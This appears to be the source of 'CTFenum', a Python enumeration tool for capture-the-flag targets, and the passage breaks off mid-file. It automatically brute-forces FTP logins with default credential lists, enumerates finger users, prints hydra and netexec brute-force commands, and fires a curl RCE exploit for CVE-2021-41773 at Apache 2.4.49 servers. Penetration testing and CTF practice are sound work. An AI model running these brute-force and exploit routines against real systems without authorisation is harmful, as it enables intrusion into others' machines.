├── CTFenum ├── .gitignore ├── CTFenum.py ├── mods │ ├── http_wordlist.py │ ├── mod_dns.py │ ├── mod_finger.py │ ├── mod_ftp.py │ ├── mod_http.py │ ├── mod_imap.py │ ├── mod_kerberos.py │ ├── mod_nmap.py │ ├── mod_smb.py │ ├── mod_smtp.py │ ├── mod_snmp.py │ ├── mod_telnet.py │ ├── mod_tftp.py │ ├── mod_utils.py │ └── version └── push ├── README.md └── install.sh /CTFenum/.gitignore: -------------------------------------------------------------------------------- 1 | *.txt 2 | mods/__pycache__/ 3 | push 4 | -------------------------------------------------------------------------------- /CTFenum/CTFenum.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import multiprocessing 4 | import sys 5 | import re 6 | from mods.mod_utils import * 7 | from mods import mod_nmap 8 | from mods import mod_ftp 9 | from mods import mod_telnet 10 | from mods import mod_smtp 11 | from mods import mod_dns 12 | from mods import mod_tftp 13 | from mods import mod_finger 14 | from mods import mod_http 15 | from mods import mod_kerberos 16 | from mods import mod_smb 17 | from mods import mod_imap 18 | from mods import mod_snmp 19 | 20 | 21 | def arg_error(): 22 | printc("[-] Please provide a target IP", RED) 23 | print(f"[!] Ex: python3 {sys.argv[0]} 192.168.0.1") 24 | sys.exit(1) 25 | 26 | 27 | def main(): 28 | check_version() 29 | 30 | arg = '' 31 | 32 | procs = [] 33 | 34 | if len(sys.argv) != 2: 35 | arg_error() 36 | else: 37 | arg = sys.argv[1] 38 | res = re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', arg) 39 | if not res: 40 | arg_error() 41 | 42 | ip = arg 43 | 44 | if ip != '127.0.0.1': 45 | clean_hosts(ip) 46 | 47 | output_dict = mod_nmap.nmap(ip) 48 | 49 | tcp_ports = output_dict.get('nmap_tcp_ports', '').split(',') 50 | udp_ports = output_dict.get('nmap_udp_ports', '').split(',') 51 | 52 | if not tcp_ports: 53 | print_separator() 54 | print('[*] No TCP ports open') 55 | sys.exit() 56 | 57 | nmap_detail = output_dict.get('nmap_detailed', '') 58 | 59 | dns = scan_for_dns(nmap_detail) 60 | hostname = scan_hostname(nmap_detail) 61 | 62 | if dns or hostname: 63 | clean_hosts(ip, dns) 64 | register_dns = [dns] 65 | if hostname: 66 | register_dns += [ hostname, f'{hostname}.{dns}' ] 67 | if '.' in dns: register_dns.append(dns.split('.')[0]) 68 | mod_dns.dns_add_subdomains(ip, register_dns) 69 | 70 | # TCP 71 | for port in tcp_ports: 72 | # FTP 73 | if port == '21': 74 | mod_ftp.handle_ftp(ip, port, nmap_detail) 75 | # SSH 76 | elif (port == '22') or (port == '2222'): 77 | print_banner(port) 78 | print('[!] SSH') 79 | print('[!] You can try to bruteforce credentials using [netexec|crackmapexec|hydra].') 80 | print('netexec ssh $(IP) -u usernames.txt -p passwords.txt') 81 | # TELNET 82 | elif port == '23': 83 | mod_telnet.handle_telnet(ip) 84 | # FINGER 85 | elif port == '79': 86 | target=mod_finger.handle_finger(ip) 87 | # HTTP 88 | elif (port == '80') or (port == '443') or (port == '5000') or (port == '8000') or (port == '8080') or (port == '8081') or (port == '8443') or (port == '10443'): 89 | mod_http.handle_http(ip, port) 90 | # KERBEROS 91 | elif port == '88': 92 | mod_kerberos.handle_kerberos(ip, dns) 93 | # POP 94 | elif (port == '110') or (port == '995'): 95 | print_banner(port) 96 | print('[!] POP') 97 | print('[!] You can try to bruteforce credentials.') 98 | print('hydra -l username -P passwords.txt -f $(IP) pop3 -V') 99 | # RPD BIND 100 | elif port == '111': 101 | print_banner(port) 102 | print('[!] RPCBind ') 103 | print('[!] Reference: https://book.hacktricks.xyz/network-services-pentesting/pentesting-rpcbind') 104 | # IMAP 105 | elif (port == '143') or (port == '993'): 106 | mod_imap.handle_imap(ip, port) 107 | # SMB 108 | elif (port == '445'): 109 | mod_smb.handle_smb(ip, port) 110 | # SMTP 111 | elif port == '25': 112 | mod_smtp.handle_smtp(ip) 113 | 114 | # UDP 115 | for port in udp_ports: 116 | # TFTP 117 | if port == '69': 118 | process = multiprocessing.Process(target=mod_tftp.handle_tftp, args=(ip,)) 119 | procs.append(process) 120 | # SNMP 121 | if port == '161': 122 | process = multiprocessing.Process(target=mod_snmp.handle_snmp, args=(ip,)) 123 | procs.append(process) 124 | # DNS 125 | if ('53' in tcp_ports) or ('53' in udp_ports): 126 | process = multiprocessing.Process(target=mod_dns.handle_dns, args=(ip, dns)) 127 | procs.append(process) 128 | 129 | procs = launch_procs(procs) 130 | 131 | 132 | if __name__ == "__main__": 133 | main() 134 | -------------------------------------------------------------------------------- /CTFenum/mods/http_wordlist.py: -------------------------------------------------------------------------------- 1 | wordlist = ['..', '.git', 'authenticate', 'nagiosxi', 'dompdf', 'koken', 'xampp', '.version', 'php-cgi.exe', 'cgi-bin', 'vesta', 'aaa', '.well-known', 'change-password', 'openid-configuration','abc','about','aboutus','abstract','academic','academics','accelerate','accept','accepted','access','accessibility','accesskey','accessories','account','accountants','accounting','accounts','achitecture','acquire','act','action','actions','activate','active','activities','adapt','ad-click','add','addition','address','add-this','add-to-cart','adjust','ad-log','adm','admin','administration','administrator','adminlogin','admins','admintools','admissions','ad-mon','ads','adserver','adv','advanced','advertise','advertisement','advertising','adview','advisories','affiliate','affiliates','africa','age','agenda','agent','agents','ajax','ajax-form','ajax-manager','ajax-submit','ajax-upload','akismet','album','albums','alert','alerts','alias','aliases','alignimage','all','allow','aloha','alpha','alt','alumni','amazon','amount','ampify','analog','analyse','analysis','analytics','anchorman','and','annotate','announce','announcements','ans','answer','anticipate','anti-spam','antivirus','any','aol','apache','api','apl','apm','app','mm','apple','applet','applets','appliance','application','applications','apply','appname','apps','appversion','architecture','archive','archivelist','archives','archivist','arrange','arrow','ars','art','article','articles','arts','asia','asides','ask','asp','asps','assets','atom','attach','attachments','audio','audit', 'joinus', 'auth','author','authors','auto','autofolders','automatic','automotive','aux','avatars','awards','babel','back','backdoor','backend','background','back-office','backup','backup-data','backup-modx','backups','bak','bakup','balance','balances','bank','banks','banner','banners','bannery','bar','base','baseball','basic','basket','basketball','bass','batch','batcher','baz','bbs','bdata','bdlistings','bea','bean','beans','benefits','beta','bill','billing','bin','binaries','bio','bios','biz','black','blacklist','blank','blob','blobs','block','blocks','blog','blogger','bloggers','blogit','blogs','blow','blox','blue','board','boards','body','book','books','bookstore','boot','bot','bot-block','bots','bottom','box','boxes','brand','brands','brief','broadband','broken','browse','browser','bsd','bug','bugs','build','builder','bulk','bullet','business','button','buttons','buy','buymore','buynow','cache','cache-clear','cache-manager','cad','cal','calculate','calendar','callback','campaign','can','canada','captcha','car','card','cardinal','cards','career','careers','carpet','cars','cart','cas','case','cases','case-studies','cat','catalog','catalogs','catch','categories','category','ccs','cdrom','cds','cert','certificate','certificates','certification','certs','cfdocs','cfg','cgi','cgis','chan','change','changelog','change-pw','changes','channel','charset','chart','charts','chat','check','checkout','chimpx','china','circular','cisco','claim','class','classes','classic','classified','classifieds','clear','cliche','chat','client','clientip','clients','cluster','cmd','cmp-launcher','cms','cnt','code','coffee','coke','collapse','collect','collections','college','colocation','color','colorpicker','columnists','columns','com','comics','comm','command','comment','commentary','comments','commerce','commercial','common','communicate','communications','community','comp','companies','company','compare','compat','complete','compliance','component','components','compose','composer','composerx','compress','compressed','compute','computer','computers','computing','comunicator','con','conf','conference','conferences','config','configs','configuration','configure','conflict','connect','connection','connections','console','consolidate','constant','constants','construct','consulting','consumer','contact','mattermost','contacts','contactus','containers','content','contents','contest','contests','continue','contract','contrib','contribute','control','controller','controls','cookie','cookielist','cookies','cool','coordinate','copy','copycontent','copyright','corba','core','corp','corporate','corporation','corrections','count','counter','country','courses','cover','covers','cpan','cpanel','crack','create','created','creation','creatives','credentials','credit','creditcards','credits','creds','crime','crm','cron','cronmanager','crosslinks','crs','crush','crypto','css','csv','culture','curl','currency','current','custom','customer','customers','customurls','cvs','cyberdocs','daemon','daily','damage','dashboard','dat','data','database','databases','datacenter','date','dating','dav','db','dba','dbadmin','dbapi','dbase','dbg','dbi','dbm','dbms','debian','debug','debug-parser','dec','dedic','def','default','defaults','define','del','delete','deletion','delicious','deliver','demo','demonstrate','demos','deny','department','deploy','deployment','depth','dequeue','derive','design','desktop','desktops','destination','destroy','detail','details','detect','dev','devel','develop','developement','developer','developers','development','device','devices','devise','devs','devtools','diag','dial','diary','dig','digest','digg','digital','dir','directions','directories','directory','dirphp','disable','disablehsts','disclaimer','disclosure','discovery','discuss','discussion','disk','dispatch','dispatcher','display','divide','divider','dmin','dms','dns','dnshost','dnt','dob','doc','docmanager','docs','doctmpl','document','documentation','documents','domain','donate','donations','dot','dotenv','down','download','downloads','draft','dragon','dratfs','driver','drivers','dropbox','dump','dvd','dynamic','easy','ebay','ebook','ebooks','ebriefs','ecard','e-commerce','ecommerce','edgy','edit','editor','editorial','editorials','education','electronics','element','elements','v1','email','emails','emo','emoticons','employee','employees','employment','empty','emptyalias','enable','encryption','energy','enews','eng','engine','engines','english','enroll','enterprise','entertainment','entry','enumeration','env','environ','environment','errata','error','errors','esales','esp','espanol','established','estated','esupport','etag','etc','ethics','europe','event','events','eventsx','v2','example','examples','excel','exchange','exe','exec','executable','executables','exiar','expect','expense','expert','experts','expires','explode','exploits','explorer','export','ext','extensions','external','extra','extranet','extras', 'fabricate','facebook','facts','faculty','fail','failed','family','faq','faq-group','faq-manager','faqs','fashion','fastfield','favorite','favorites','fck-editor','feature','featured','features','fedora','feed','feedback','feeds','field','file','fileattach','file-dir','filedir','filelist','file-list','filemanager','filename','files','fileupload','film','filter','finance','financial','find','file-upload','firewall','firewalls','first','fixed','flags','flash','flex','flow','flow-player','fly','foia','folder','font','fonts','foo','food','football','footer','footers','forbidden','forge','forget','forgot','forgotten','form','format','form-builder','form-handler','form-it','form-mail','forms','form-save','form-send','formz','fortune','forum','forums','forward','forwarded','foto','fotos','foxy-stock','frame','frames','framework','france','fred','free','freeware','french','friend','friends','from','from-link','front','frontbar','frontend','frontpage','ftp','full','fun','function','functions','furl','future','gadgets','galleries','gallery','game','games','gaming','gate','gateway','general','generate','geoip','geotv','get','get-cache','get-doctype','get-feed','get-file','get-images','get-page','get-products','get-related','getpage','get-value','get-values','gfx','gif','gifs','gifts','github','given-name','global','glossary','gmail','gmaps','gold','gone','v4','v3','goto','gps','granted','graph','graphics','group','group-edit','groups','guest','guestbook','guide','gus','handyman','hash-email','hcards','head','header','headers','health','help','helpdesk','history','hitspage','hiword','hodor','holiday','home','homepage','host','hosti','hosting','hotels','howto','htaccess','htm','html','htmls','htmltopdf','http','https','icon','icons','identity','if-eval','iframe','image','images','img','imgattr','impart','import','importx','improve','inbox','inc','incident','include','includes','index','info','infoboard','inform','information','init','input','inquiry','insert','install','installation','installer','instant-api','interface','internal','international','internet','interpret','intranet','intro','inventory','invoice','iphone','ipod','iso','issues','item','itemid','items','itemt','janeyai','janitor','java','javascript','jenkins','jevix','job','jobs','join','journal','jquery','js','jscript','json','jsp','jump','junk','key','keyword','kids','kill','1','3','label','landing','lang','lang-correct','language','languages','latest','law','layout','lazy-image','legal','letters','level','lib','libraries','library','license','licenses','light-box','2','lingua','link','links','linux','lipsum','list','live','live-blogger','livechat','load','local','locale','location','locations','locator','locked','locker','log','logfile','logfiles','logging','login','logins','log-file','logo','logon','logos','logout','log-request','log-files','logs','loop','mac','mail','mailing','main','make','makeqr','malte','manage','management','manager','4','manual','map','mapex','maps','markdown','market','marketing','marketplace','markitup','master','math','mchimpx','measure','media','media-kit','mediaplayer','member','members','membership','menu','menus','message','messages','messaging','meta','meta-format','method','micro-cache','microsoft','middlewares','military','mime-type','mini','minify-html','misc','miscellaneous','mm','mobile','mod','mod-auth','mod-avatar','mod-captcha','mod-cipher','5','mode','model','mod-helpers','mod-mobile','mod-redirect','modtree','module','modules','modxrated','money','moneybird','monitor','mon-twitter','more','most-popular','movie','movies','msg','msisdn','msn','multimedia','multiply','music','mx-calendar','mx-manager','myaccount','mygallery','myjournal','mypage','myspace','mysql','my-account','name','names','nav','navigation','negotiate','net','network','new','news','newsite','newsletter','newsletters','newsroom','next','no-embed','nokia','nonce','nospam','note','notes','notfound','notification','notify','notifytask','null','object','oembed','office','offline','old','oldsite','online','opencart','option','options','oracle','order','orders','org','organizer','origin','original','originate','originator','orphans','orphoman','other','others','output','overwrite','packages','packman','pad','page','6','pagelocker','pages','paid','panel','parsex','partner','partners','pass','passkey','passport','password','passwords','path','payment','payments','paypal','pda','pdf','pdfbridge','pdfparser','pdfresource','pdfs','people','peoples','period','perl','personal','phone','photo','photogallery','photos','php','pdf-parser','phpmailer','phpthreads','8','9','0','php-tidy','pic','pics','picture','pictures','pilot','pin','ping','7','pix','pixel','player','plugin','plugins','pma','podcast','podcasts','policies','policy','poll','polls','pop','popup','popups','port','portal','portfolio','post','posts','pragma','prefer','presence','preserve','press','press-release','press-releases','pressroom','preview','prev','price','pricelist','print','printer','prism','privacy','private','pro','problems','process','processing','prod','produce','product','production','products','profile','profiles','program','programs','project','projects','promo','promote','promotion','prompt','properties','protected','protocol','protocols','provisioner','proxy','pub','public','publication','publications','publish','pub-warner','pull','purchase','put','queeg','query','query-string','question','questions','queue','quickbar','quickemail','quill','quip','quit','quote','quotes','radio','randimages','random','range','rate','raw','rcs','reactivate','read','rand-images','readme','reason','recent','recipient','recite','record','recursive','red','redirect','redirector','ref','reference','referer','referrer','refferer','refresh','shells','reg','register','registration','release','remotes','remove','reply','report','reports','request','res','research','reseller','resource','resources','response','restore','restrict','results','resume','retrieve','review','reviews','rezimgcrop','robot','robots','roman-digit','root','row-boat','rss','rss-feed','rules','run','sale','sales','sam','sample','samples','sandbox','sap','save','savetrash','schedule','scheduler','scheme','school','screenshots','script','scripts','search','sand-box','secret','secrets','secretkey','sections','secure','security','select','self','self-link','send','sendgrid','sendmail','seo-head','seo-pro','seo-tab','server','servers','service','services','servlet','servlets','session','sessions','set','setting','settings','setup','share','shared','sharelink','shell','shipping','graphql','shop','shopkeeper','show','showsource','showtv','signin','signup','simple','site','siteadmin','site-atoz','sitebuilder','siteeditor','siteheart','siteimages','sitemap','sitemaps','sitemonitor','sites','slackify','sleep','slideshow','slink','slug','smarttag','sms','smugly','soap-action','soap','soapaction','social-hub','social-tools','socketlog','soft','software','somevar','source','sourcemap','sources','space','spamguard','special','specials','sp-form','split','sponsors','sport','sports','spray','sps','sql','src','ssi','ssl','ssl-key','staff','stage','stagecoach','stagging','start','stat','statcache','states','static','staticsaver','statiker','statistics','stats','status','stop','storage','store','stores','stories','streampage','string','structures','student','study','stuff','style','styles','stylesheet','stylesheets','sub','subaccount','submit','subscribe','subscriptions','summary','super','supercache','support','survey','swagger','swf','switch','sys','sysadmin','system','table','tabs','tag','tagger','tagmanager','tags','task','taxonomies','taxonomy','team','teamlister','tech','technology','temp','templ','template','templates','terminate','terms','test','testimonials','testing','tests','text', 'oauth2', 'authorize', 'userinfo', 'thankyou','the','theme','themes','this','thumb','thumbnails','thumbs','ticket','tickets','timeout','tiny-mce','tips','title','tld','tmp','toc','todo','token','tokens','toolbar','tools','top','topic','topics','tos','tour','tpl','trackback','tracker','trailer','transactions','transfer','translate','translex','translit','trash','travel','tree','treeselect','tutorial','tvcollector','tvsnippedit','twilio','twitter','twitterx','type','typography','uncacher','uncosnews','understand','undo','union','units','unix','unqueue','unsubscribe','update','updater','updates','upgrade','upgrademodx','upload','uploads','upset','uri','url','urlclean','usa','usage','user','useragent','userimport','username','users','usersonline','usertools','util','utilities','utility','utils','validate','vapor','var','vary','vdc','vds','vendor','vendors','verbose','verify','version','versioncode','versionx','vhost','via','viad','video','videos','view','viewcart','views','voip','vote','wap','warning','weather','web','webadmin','webcart','webdav','webinex','weblog','weblogs','webmail','webmaster','webpages','webservice','webservices','website','websms','webstats','welcome','whatsnew','whitepapers','widget','widgets','wiki','windows','wishlist','wool','wordpress','work','workarea','working','world','worldcore','wp-admin','wp-app','wp-content','wp-includes','wp-login','wpresources','wufoox','www','xbuttons','xfpc','xml','xmlrpc','xodus','xonnection','xpoller','xproxy','xrs','xsl','xslt','xternalinks','xxx','yahoo','ype','zapier','zip','wp','wordpress','joomla','spip','elfinder','drupal','magento','shopify','prestashop','opencart','typo3','modx','contao','grav','concrete5','umbraco','django','wix','weebly','squarespace','ghost','hexo','hugo','gatsby','blogger','tumblr','textpattern','craftcms','processwire','silverstripe','ezpublish','moodle','mediawiki','zenphoto','b2evolution','serendipity','radiantcms','symfony','zendframework','laravel','codeigniter','cakephp','yii','expressionengine','dotnetnuke','plone','vbulletin','phpbb','mybb','xenforo','vanillaforums','discourse','node','ips','fluxbb','punbb', 'README', 'CHANGELOG', 'wp-json', 'pwm', 'icingaweb2', 'icinga', 'webapp', 'aem', 'artifactory', 'index.html', 'app.js', 'index.js', 'index.aspx', 'index.asp', 'web-console', 'ServerInfo', 'invoker', 'rest', 'mypermissions', 'cms_version', '.env', 'jolokia', '_fragment', '_internal', '_proxy', 'tomcat', '?wsdl', 'preload', 'CFIDE', '_async', 'wls-wsat', 'railo', 'lucee', 'axis2', 'admincp', 'sitemap.xml', 'ecrire', 'phpMyAdmin', 'phpinfo' ] 2 | -------------------------------------------------------------------------------- /CTFenum/mods/mod_dns.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from mods.mod_utils import * 3 | 4 | 5 | def dns_print_banner(): 6 | print_banner('53') 7 | print('[!] DNS') 8 | print('[+] Subdomains added to /etc/hosts:') 9 | print_separator() 10 | 11 | 12 | def dns_add_subdomains(ip, subdomains): 13 | if len(subdomains) < 1: 14 | return 15 | 16 | with open('/etc/hosts', 'r') as file: 17 | data = file.readlines() 18 | 19 | line_to_delete = [] 20 | 21 | updated_line = '' 22 | 23 | for line in data: 24 | if len(line) < 5: 25 | line_to_delete.append(line) 26 | for subd in subdomains: 27 | if subd in line: 28 | line_to_delete.append(line) 29 | break 30 | if ip in line: 31 | line_to_delete.append(line) 32 | continue 33 | 34 | subs_line = [] 35 | 36 | for line in line_to_delete: 37 | try: 38 | data.remove(line) 39 | if len(line) >= 5: 40 | subs_line.extend(line.split(' ')[1:]) 41 | except: 42 | continue 43 | for subd in subdomains: 44 | if not subd in subs_line: 45 | subs_line.append(subd) 46 | subs = " ".join(set(subs_line)).replace('\n', ' ') 47 | updated_line = f'\n{ip} {subs}\n' 48 | data.append(updated_line) 49 | 50 | with open('/etc/hosts', 'w') as file: 51 | file.write(''.join(data)) 52 | 53 | 54 | def handle_dns(ip, dns=None): 55 | #printc('dns', RED) 56 | 57 | if not dns: 58 | dns_print_banner() 59 | printc('[-] None', RED) 60 | print('[!] If you find a FQDN you can use this command to look for other subdomains:') 61 | print(f'[!] dig axfr @{ip} your.domain.tld') 62 | 63 | cmd_dns = f'dig axfr @{ip} {dns}' 64 | 65 | try: 66 | output = subprocess.check_output(cmd_dns, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 67 | 68 | if output: 69 | if 'SERVER:' in output: 70 | subdomains = set() 71 | 72 | # Split the output by lines and iterate through each line 73 | for line in output.splitlines(): 74 | # Check if the line contains a subdomain 75 | if dns in line: 76 | parts = line.split() 77 | # Extract the subdomain and add it to the set of unique subdomains 78 | subdomain = parts[0].rstrip('.') 79 | 80 | if dns in subdomain: 81 | subdomains.add(subdomain) 82 | 83 | if len(subdomains) > 0: 84 | try: 85 | dns_add_subdomains(ip, subdomains) 86 | dns_print_banner() 87 | print(f'[!] {cmd_dns}') 88 | data = '\n'.join(subdomains) 89 | printc(data, GREEN) 90 | 91 | log(data, cmd_dns, ip, 'dig') 92 | except: 93 | return 94 | except: 95 | return -------------------------------------------------------------------------------- /CTFenum/mods/mod_finger.py: -------------------------------------------------------------------------------- 1 | from mods.mod_utils import * 2 | import multiprocessing 3 | import socket 4 | import os 5 | import re 6 | 7 | 8 | # Globals 9 | founded = [] 10 | 11 | common_unixnames = ['root','daemon','bin','sys','sync','games','man','lp','mail','news','uucp','proxy','www-data','backup','list','irc','gnats','nobody','systemd-network','systemd-resolve','messagebus','systemd-timesync','syslog','_apt','uuidd','tcpdump','postgres','Debian-exim','polkitd','_rpc','statd','sshd','dnsmasq','msf','_gophish'] 12 | 13 | 14 | def finger_user(ip, username): 15 | global founded 16 | try: 17 | # Create a socket object 18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | 20 | # Define the Finger server and port 21 | finger_server = (ip, 79) # Port 79 is the default port for Finger service 22 | 23 | # Connect to the Finger server 24 | sock.connect(finger_server) 25 | 26 | # Send the username to request information 27 | sock.sendall((username + '\r\n').encode()) 28 | 29 | # Receive and print the response 30 | response = sock.recv(4096).decode() 31 | username = re.findall(r'Login:(.*)Name:', response) 32 | if username: 33 | clean_username = username[0].strip() 34 | 35 | try: 36 | founded.index(username) 37 | except: 38 | founded.append(clean_username) 39 | fullname = '' 40 | try: 41 | full_name = re.findall(r'Name:(.*)\n', response) 42 | except: 43 | pass 44 | finger_banner(clean_username, full_name[0]) 45 | 46 | log(username, '', ip, 'finger') 47 | except: 48 | pass 49 | finally: 50 | # Close the socket connection 51 | sock.close() 52 | 53 | 54 | def finger_banner(username, full_name): 55 | print_banner('79') 56 | print('[!] FINGER') 57 | printc(f'[!] Username found: {username}. Full Name: {full_name}', GREEN) 58 | 59 | 60 | def handle_finger(ip): 61 | #printc('finger', RED) 62 | procs = [] 63 | usernames = [] 64 | filename = '/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt' 65 | 66 | if not os.path.exists(filename): 67 | print_banner('79') 68 | printc('[-] Unable to bruteforce users with Finger Service', RED) 69 | print(f'[-] {filename} does not exist.\nPlease install seclists.', RED) 70 | print('[!] Using common unix usernames to test the service.') 71 | usernames = common_unixnames 72 | 73 | with open(filename) as file: 74 | usernames = file.readlines() 75 | 76 | count = 0 77 | for username in usernames: 78 | # Start processes to execute 79 | process = multiprocessing.Process(target=finger_user, args=(ip,username)) 80 | procs.append(process) 81 | count += 1 82 | 83 | if count >= max_subprocess: 84 | procs = launch_procs(procs) 85 | count = 0 86 | procs = launch_procs(procs) -------------------------------------------------------------------------------- /CTFenum/mods/mod_ftp.py: -------------------------------------------------------------------------------- 1 | from ftplib import FTP 2 | from mods.mod_utils import * 3 | import multiprocessing 4 | from time import sleep 5 | 6 | 7 | # List of common FTP users 8 | common_ftp_users = [ 9 | 'admin','user','ftp','test','guest','root','ftpuser','operator','support','backup','developer' 10 | ] 11 | 12 | 13 | # List of common FTP passwords 14 | common_ftp_passwords = [ 15 | 'password','123456','admin','12345','qwerty','1234','password1','abc123','letmein','password123','changeme','welcome','ftp123' 16 | ] 17 | 18 | def ftp_connect(server, port, username, password): 19 | try: 20 | # Connect to the FTP server on the specified port 21 | ftp = FTP() 22 | ftp.connect(server, int(port)) 23 | 24 | # Login with username and password 25 | ftp.login(user=username, passwd=password) 26 | 27 | # Print a message upon successful connection 28 | print_banner(port) 29 | printc(f'[+] FTP Credentials "{username}:{password}"', BLUE) 30 | 31 | log(f'[+] FTP Credentials "{username}:{password}"', '', server, 'ftp') 32 | 33 | # Perform operations (e.g., list directories, download/upload files) if needed 34 | # Example: List directories 35 | printc('[!] Listing FTP root', YELLOW) 36 | print('') 37 | ftp.dir() 38 | 39 | # Close the FTP connection 40 | ftp.quit() 41 | except: 42 | pass 43 | return 44 | 45 | 46 | 47 | def ftp_brute(ip, port): 48 | tested_creds = [] 49 | 50 | for username in common_ftp_users: 51 | for password in get_usernames_esr(username): 52 | current_creds = (username,password) 53 | if current_creds in tested_creds: 54 | continue 55 | tested_creds.append(current_creds) 56 | for password in common_ftp_passwords: 57 | current_creds = (username,password) 58 | if current_creds in tested_creds: 59 | continue 60 | tested_creds.append(current_creds) 61 | max_creds = len(tested_creds) 62 | for username, password in tested_creds: 63 | process = multiprocessing.Process(target=ftp_connect, args=(ip, port, username, password)) 64 | process.start() 65 | 66 | 67 | def print_this_banner(port): 68 | print_banner(port) 69 | print('[!] FTP') 70 | print('''[!] If the FTP server does not lists the content, use the commands like: 71 | ftp:>passive 72 | ftp:>bin 73 | ftp:>ls -la''') 74 | 75 | def handle_ftp(target, port, nmap_detail): 76 | #printc('ftp', RED) 77 | 78 | print_this_banner(port) 79 | if ('ftp-anon' in nmap_detail): 80 | printc('[+] Server have anonymous login enabled', GREEN) 81 | username = 'anonymous' 82 | if 'Logged in as ftp' in nmap_detail: 83 | username = 'ftp' 84 | if '20/tcp closed ftp-data' in nmap_detail: 85 | printc('[-] Service is exposed but might be Unavailable', RED) 86 | ftp_connect(target, port, username, 'nopass') 87 | else: 88 | printc('[!] Testing common credentials for FTP on background', YELLOW) 89 | ftp_brute(target, port) -------------------------------------------------------------------------------- /CTFenum/mods/mod_http.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from mods.mod_utils import * 3 | from mods import mod_dns 4 | from mods.http_wordlist import wordlist 5 | from urllib.parse import urlparse 6 | import requests 7 | import urllib3 8 | import re 9 | import os 10 | 11 | # Globals 12 | fast_wordlist = '' 13 | comments_founded = [] 14 | urls_founded = [] 15 | domain = '' 16 | server = '' 17 | extensions = ['txt'] 18 | 19 | technologies = [ 20 | 'X-Powered-By', # Technology used to power the server (e.g., PHP, ASP.NET) 21 | 'Via', # Intermediate proxies or gateways 22 | 'X-AspNet-Version', # ASP.NET version 23 | 'X-AspNetMvc-Version', # ASP.NET MVC version 24 | 'X-Backend-Server', # Backend server information 25 | 'X-Drupal-Cache', # Drupal caching information 26 | 'X-Drupal-Dynamic-Cache', # Drupal dynamic cache status 27 | 'X-Drupal-Cache-Tags', # Drupal cache tags 28 | 'X-Generator', # Content management system (CMS) or framework generator 29 | 'X-Joomla-Template', # Joomla template used 30 | 'X-Pingback', # XML-RPC pingback URL (often used by WordPress) 31 | 'X-Redirect-By', # Redirection mechanism (often used by WordPress) 32 | 'X-Powered-CMS', # CMS powering the site 33 | 'X-Shopify-Stage', # Shopify stage environment 34 | 'X-Turbo-Charged-By', # Turbo caching system 35 | 'X-Varnish', # Varnish caching 36 | 'X-Wix-Request-Id', # Wix request identifier 37 | 'X-WordPress-Cache', # WordPress cache status 38 | 'X-WordPress-Debug', # WordPress debug information 39 | 'X-WordPress-Theme', # WordPress theme information 40 | 'CF-Cache-Status', # Cloudflare cache status 41 | 'CF-Ray', # Cloudflare request identifier 42 | 'CF-Request-ID', # Cloudflare request ID 43 | 'Fastly-Request-ID', # Fastly request ID 44 | 'X-CDN', # CDN information 45 | 'X-Cache', # Cache status 46 | 'X-Cache-Hits', # Number of cache hits 47 | 'X-Cache-Lookup', # Cache lookup status 48 | 'X-Cache-Status', # Cache status indicator 49 | 'WWW-Authenticate' # Basic Authentication in place 50 | ] 51 | 52 | # Disable insecure request warnings from urllib3 53 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 54 | 55 | 56 | def is_valid_url(url): 57 | regex = re.compile( 58 | r'^(?:http|ftp)s?://' # http:// or https:// 59 | r'(?:' # Start non-capturing group for domain 60 | r'(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... 61 | r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|' # ...or ipv4 62 | r'\[?[A-F0-9]*:[A-F0-9:]+\]?' # ...or ipv6 63 | r'|(?:[A-Z0-9-]+))' # or non-strict domain (e.g., tripladvisor) 64 | r'(?::\d+)?' # optional port 65 | r'(?:/?|[/?]\S+)$', re.IGNORECASE) 66 | return re.match(regex, url) is not None 67 | 68 | 69 | def is_blacklisted_url(url): 70 | blacklist = ['.png', '.jpg', '.css', '.ttf'] 71 | for item in blacklist: 72 | if item in url: return True 73 | return False 74 | 75 | 76 | def register_subdomains(subdomains, ip='127.0.0.1', cmd=None): 77 | result = True 78 | if len(subdomains) > 0: 79 | if cmd: 80 | print(f'[!] {cmd}') 81 | printc('[+] Some subdomains have been found:', GREEN) 82 | for subdomain in subdomains: 83 | printc(f'[+] {subdomain}', BLUE) 84 | 85 | log(subdomain, '', ip) 86 | try: 87 | mod_dns.dns_add_subdomains(ip, subdomains) 88 | printc('[+] Domain added correctly to /etc/hosts', GREEN) 89 | except Exception as e: 90 | result = False 91 | printc(f'[-] {e}', RED) 92 | return result 93 | 94 | 95 | def create_short_wordlist(): 96 | global fast_wordlist 97 | fast_wordlist_filename = f'{os.path.dirname(os.path.abspath(__file__))}/wordlist.txt' 98 | if not os.path.exists(fast_wordlist_filename): 99 | with open(fast_wordlist_filename, 'w') as file: 100 | file.write('\n'.join(wordlist)) 101 | file.close() 102 | fast_wordlist = fast_wordlist_filename 103 | 104 | 105 | def http_identify_server(host, port, proto='http'): 106 | global server 107 | global extensions 108 | 109 | if (server != ''): return 110 | response = make_request(update_url(host, port, proto)) 111 | if not response: return 112 | 113 | tech = [] 114 | 115 | try: 116 | if ('Server' in response.headers): 117 | server_header = response.headers['Server'] 118 | server = server_header 119 | 120 | if ('Apache' in server_header): 121 | printc('[!] Apache server, Fuzzing for PHP files.', GREEN) 122 | extensions.append('html') 123 | extensions.append('php') 124 | 125 | if '2.4.49' in server_header: 126 | cmd = f"curl {proto}://{host}:{port}/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'" 127 | try: 128 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 129 | 130 | if output: 131 | if 'uid' in output: 132 | print_banner(port) 133 | printc('[+] Possible RCE confirmed. CVE-2021-41773', RED, YELLOW) 134 | printc(cmd, BLUE) 135 | print(output) 136 | except Exception as e: 137 | printc(f'[-] {e}', RED) 138 | return 139 | elif ('Microsoft-IIS' in server_header): 140 | printc('[!] Microsoft IIS server, 